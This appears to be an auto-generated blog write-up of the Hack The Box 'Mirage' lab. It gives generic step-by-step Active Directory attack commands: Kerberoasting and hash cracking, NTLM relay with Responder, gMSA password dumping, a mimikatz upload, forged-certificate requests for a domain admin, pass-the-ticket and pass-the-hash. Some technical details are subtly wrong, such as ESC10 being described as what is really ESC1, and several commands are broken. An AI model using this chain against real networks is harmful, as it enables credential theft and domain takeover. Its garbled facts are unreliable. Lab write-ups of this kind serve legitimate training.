Listen to this Post
Introduction:
In the intricate world of Active Directory penetration testing, attack chains often leverage seemingly minor misconfigurations to achieve catastrophic domain compromise. The Hack The Box Mirage machine, recently completed by cybersecurity professional Esteban Zarate, demonstrates this principle through a sophisticated attack path involving service account exploitation, credential relay attacks, and ultimately Active Directory Certificate Services abuse. This scenario mirrors real-world enterprise environments where defense-in-depth strategies fail against persistent adversaries.
Learning Objectives:
- Understand the technical implementation of cross-session NTLM relay attacks and their impact on domain security
- Master Kerberoasting techniques and gMSA (Group Managed Service Account) password retrieval methodologies
- Learn practical exploitation of ESC10 (AD CS Template Vulnerabilities) for privilege escalation to Domain Admin
You Should Know:
1. Initial Enumeration Through Exposed NFS Shares
The attack chain begins with network reconnaissance identifying exposed NFS shares, which often contain configuration files, scripts, or credentials inadvertently left accessible. In enterprise environments, network file shares frequently serve as initial footholds when improperly secured.
Step-by-step guide explaining what this does and how to use it:
– Begin with network enumeration using nmap to identify open ports and services:
nmap -sC -sV -p- 10.10.11.0/24
– Check for NFS exports using showmount:
showmount -e <target_IP>
– Mount accessible NFS shares to examine contents:
mkdir /mnt/nfs_share mount -t nfs <target_IP>:/share /mnt/nfs_share -o nolock
– Search for configuration files, scripts, and credentials:
find /mnt/nfs_share -name ".config" -o -name ".xml" -o -name ".txt" -o -name ".ps1"
2. Insecure DNS Updates and Service Discovery
DNS misconfigurations allow attackers to update DNS records or extract sensitive information about network services. Dynamic DNS updates without proper authentication can reveal critical infrastructure components.
Step-by-step guide explaining what this does and how to use it:
– Perform DNS enumeration using dig or nslookup:
dig @<DNS_Server> <domain> AXFR nslookup -type=SRV _ldap._tcp.<domain>
– Check for zone transfer vulnerabilities:
dig @<target_IP> <domain> AXFR
– Use DNS reconnaissance tools for comprehensive mapping:
dnsrecon -d <domain> -a -z -t axfr
3. NATS Traffic Interception and Stream Data Analysis
NATS messaging systems, when improperly configured, can expose sensitive application data and authentication tokens. Message queue systems often contain credentials and internal communication.
Step-by-step guide explaining what this does and how to use it:
– Install NATS utilities for connection testing:
pip install asyncio-nats-client
– Connect to exposed NATS service and subscribe to topics:
import asyncio
from nats.aio.client import Client as NATS
async def run():
nc = NATS()
await nc.connect("nats://<target_IP>:4222")
async def message_handler(msg):
print(f"Received: {msg.data.decode()}")
await nc.subscribe(">", cb=message_handler)
await asyncio.sleep(3600)
asyncio.run(run())
– Monitor traffic for credentials and sensitive data leakage
4. Kerberoasting Service Accounts
Kerberoasting extracts service account password hashes from Active Directory, which can be cracked offline to obtain plaintext credentials.
Step-by-step guide explaining what this does and how to use it:
– Request service tickets for accounts with SPN (Service Principal Names):
GetUserSPNs.py -request -dc-ip <DC_IP> <domain>/<user>
– Alternative Impacket tool usage:
python GetUserSPNs.py <domain>/<user>:<password> -outputfile kerberoast_hashes.txt
– Crack obtained hashes using Hashcat:
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
5. WinRM Access and Lateral Movement
Windows Remote Management provides command execution capabilities once valid credentials are obtained, enabling lateral movement.
Step-by-step guide explaining what this does and how to use it:
– Test WinRM access using Evil-WinRM:
evil-winrm -i <target_IP> -u <username> -p <password>
– Execute commands remotely using PowerShell:
Invoke-Command -ComputerName <target> -Credential (Get-Credential) -ScriptBlock { whoami }
– Upload tools for further enumeration:
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
6. Cross-Session NTLM Relay and gMSA Password Retrieval
NTLM relay attacks intercept authentication attempts and forward them to target services, while gMSA accounts contain managed passwords accessible to privileged accounts.
Step-by-step guide explaining what this does and how to use it:
– Set up NTLM relay using ntlmrelayx:
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <username>
– Trigger authentication requests through various means:
responder -I eth0 -wF
– Retrieve gMSA passwords using specialized tools:
gMSADumper.py -u <user> -p <password> -d <domain>
– PowerShell alternative for gMSA retrieval:
Import-Module ActiveDirectory Get-ADServiceAccount -Identity <gMSA_Account> -Properties | Select-Object SamAccountName, MSDS-ManagedPassword
7. ESC10 Abuse for Domain Admin Privileges
Active Directory Certificate Services template vulnerability ESC10 allows low-privileged users to request certificates with excessive privileges, enabling domain takeover.
Step-by-step guide explaining what this does and how to use it:
– Enumerate certificate templates using Certify:
Certify.exe find /vulnerable
– Request certificate using vulnerable template:
Certify.exe request /ca:<CA_Server> /template:<Vulnerable_Template> /altname:<Domain_Admin_Username>
– Convert certificate to PFX format if needed:
openssl pkcs12 -in certificate.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out certificate.pfx
– Use Rubeus to request TGT using certificate:
Rubeus.exe asktgt /user:<username> /certificate:certificate.pfx /ptt
– Access Domain Controller with elevated privileges:
psexec.py <domain>/<user>@<DC_IP> -hashes <LM_Hash>:<NT_Hash>
What Undercode Say:
- The complete attack chain demonstrates how seemingly isolated misconfigurations can be chained together for full domain compromise
- gMSA accounts represent a critical attack surface as their passwords are automatically managed but potentially retrievable by excessive principals
- ESC10 vulnerabilities highlight the expanding attack surface of AD Certificate Services beyond traditional Kerberos authentication
The Mirage attack path exemplifies modern AD penetration testing methodology where initial access through network services leads to credential harvesting, lateral movement, and ultimately privilege escalation through certificate services. This multi-stage approach bypasses traditional security controls that focus on perimeter defense without addressing internal trust relationships. The technical depth required—from NFS enumeration to AD CS template exploitation—demonstrates the evolving skill set needed for both offensive security professionals and defensive blue teams. Organizations must implement comprehensive monitoring for NTLM relay attacks, regularly audit certificate template permissions, and restrict gMSA account access to prevent similar attack chains.
Prediction:
The sophistication of AD attack chains will continue evolving as Microsoft implements stronger default protections against traditional techniques like NTLM relay and Kerberoasting. We anticipate increased focus on AD Certificate Services exploitation as organizations migrate toward certificate-based authentication, creating new attack surfaces through template misconfigurations. Additionally, gMSA and similar managed service account technologies will become prime targets as attackers develop more refined password retrieval techniques. Defense strategies must shift toward micro-segmentation, certificate authority monitoring, and managed service account permission auditing to counter these advanced persistence mechanisms.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Esteban Zarate – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
